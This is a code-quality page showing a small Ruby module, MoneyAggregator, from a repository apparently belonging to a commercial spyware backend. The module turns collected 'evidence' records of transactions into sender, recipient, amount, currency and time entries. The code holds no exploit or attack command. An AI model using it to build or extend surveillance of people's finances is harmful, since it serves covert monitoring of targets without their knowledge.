hackedteam/rcs-db

View on GitHub
lib/rcs-aggregator/money.rb

Summary

Maintainability
A
25 mins
Test Coverage
require 'rcs-common/trace'

module RCS
  module Aggregator
    class MoneyAggregator
      include RCS::Tracer
      extend RCS::Tracer

      def self.extract_tx(evidence)
        data = evidence.data

        return [] if data['type'] != :tx

        versus = data['incoming'] == 1 ? :in : :out
        from, rcpt = data['from'], data['rcpt']

        return [] unless from and rcpt

        extracted_data = {
          sender:     from,
          peer:       rcpt,
          versus:     versus,
          size:       data['amount'],
          type:       data['currency'],
          time:       evidence.da
        }

        [extracted_data]
      end
    end
  end
end